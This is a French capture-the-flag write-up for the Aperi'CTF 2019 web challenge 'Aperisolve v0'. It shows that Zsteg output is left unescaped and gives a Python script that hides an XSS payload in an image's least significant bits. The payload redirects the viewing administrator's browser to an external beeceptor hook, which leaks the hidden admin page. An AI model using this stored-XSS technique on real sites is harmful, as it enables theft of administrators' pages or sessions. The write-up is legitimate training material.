Aperi’CTF 2019 - Aperisolve v0
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | Aperisolve v0 | Web | 100 | 3 |
Un membre de l’équipe Aperi’Kube a développé une platforme de stéganographie. Ce dernier l’utilise régulièrement pour superviser les uploads d’image et voler des flags ! A votre tour de voler le flag en accédant à l’accès administrateur.
Note: la platforme originale est disponible à l’adresse https://aperisolve.fr, cette dernière n’est pas vulnérable. Il est interdit d’attaquer la platforme originale.
https://aperisolve-v0.aperictf.fr
TL;DR
Cacher un payload XSS dans le LSB d’une image puis soumettre l’image.
Méthodologie

Après quelques essais, on constate que la plateforme web n'accepte que des fichiers image, comme indiqué. Voyons comment la plateforme réagit lorsqu'on envoie une image valide. Ici, je vais envoyer le fichier suivant :

La plateforme semble fonctionner : elle affiche chaque couche de bits et montre la sortie d'exif et de zsteg.
Notre objectif est d'accéder au panneau d'administration mais nous n'avons trouvé aucune page de connexion. Cependant, nous savons que l'administrateur supervise régulièrement les soumissions d'images.
Peut-être pouvons-nous voler son cookie ou faire fuiter son URL actuelle grâce à une XSS ? Puisque le site affiche la sortie d'Exif et de Zsteg, on peut regarder le code JavaScript pour voir s'il existe une quelconque protection.
Main.js :
$(document).ready(function(){
$("#checkzsteg").click(function(){
$(this).toggleClass("active");
$("#incheckzsteg").attr("value", (1+parseInt($("#incheckzsteg").attr("value")))%2);
});
function escapeHtml(text) {
return text
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// ...
function askforfile(){
if (filename == "0"){
$("#txtbut").html("ERROR ! Reload page :/")
}
dragdropok = false;
$.get( "uploads/"+filename, function( data ) {
data = data.split("*");
imgsdata = data.pop();
data[0] = atob(data[0]);
data[0] = "<h2 class='h2info'>Exif</h2>"+escapeHtml(data[0]);
data[1] = atob(data[1]);
data[1] = "<h2 class='h2info'>Zsteg</h2>"+data[1];
data = data.join("");
data = data.replace('\r\n','\r');
// ...
});
}
});
Tout d’abord, il existe une fonction nommée escapeHtml qui échappe les entités html contre les XSS. Si l’on regarde le code source, la fonction est utilisée pour les données Exif escapeHtml(data[0]); mais pas pour les données Zsteg. Autrement dit, la sortie des données Zsteg est directement insérée dans la page sans aucune protection XSS côté front-end.
Si l’on jette un œil à Zsteg, on sait qu’on peut cacher un payload xss dans une image afin d’afficher le payload sur la page de résultats. Écrivons un script python qui va cacher notre payload XSS dans le LSB d’une image. On aurait pu choisir une autre fonctionnalité de zsteg comme MSB.
Voici notre script pour intégrer une chaîne de caractères dans le LSB d’une image :
# -*- coding: utf-8 -*-
from PIL import Image
import random
import string
from Crypto.Cipher import AES
img = Image.open("profile.png") # Open image with PIL
w,h = img.size
pxs = list(img.getdata())
##########################################
# Encode payload in LSB #
##########################################
# XSS Payload
text = "<script>document.location='https//zeecka.free.beeceptor.com';</script>"
text += " "*w*h # pad with spaces
binary = ''.join('{:08b}'.format(ord(c)) for c in text)
newdata = []
x = 0
for i in range(h):
for j in range(w):
c = pxs[i*w+j] # Current
r = c[0] - c[0]%2 + int(binary[x]) # Set LSB to 0 then update
g = c[1] - c[1]%2 + int(binary[x+1]) # Set LSB to 0 then update
b = c[2] - c[2]%2 + int(binary[x+2]) # Set LSB to 0 then update
newdata.append((r,g,b))
x += 3
new = Image.new(img.mode,img.size)
new.putdata(newdata)
new.show()
new.save(imgPath+"_payload.png") # New image
Ici, notre payload est un document.location vers une URL de hook comme beeceptor : <script>document.location='https//zeecka.free.beeceptor.com';</script>.
Envoyons l’image et voyons si cela fonctionne…
…
Oui, ça fonctionne ! Nous avons été redirigés vers `https//zeecka.free.beeceptor.com`. Maintenant, il ne reste plus qu'à attendre l'administrateur...
10 secondes plus tard :
Nous avons reçu une requête de l'admin ! Si l'on regarde le header, on peut faire fuiter la page admin : `896ef65f009be190c6346d3bc7eaa84764ce2217efaee49cf8f1c0e31f969cff.php`.
Maintenant, si l’on se rend sur https://aperisolve-v0.aperictf.fr/896ef65f009be190c6346d3bc7eaa84764ce2217efaee49cf8f1c0e31f969cff.php on obtient :

Flag
APRK{We1rdXSSV3ct0r}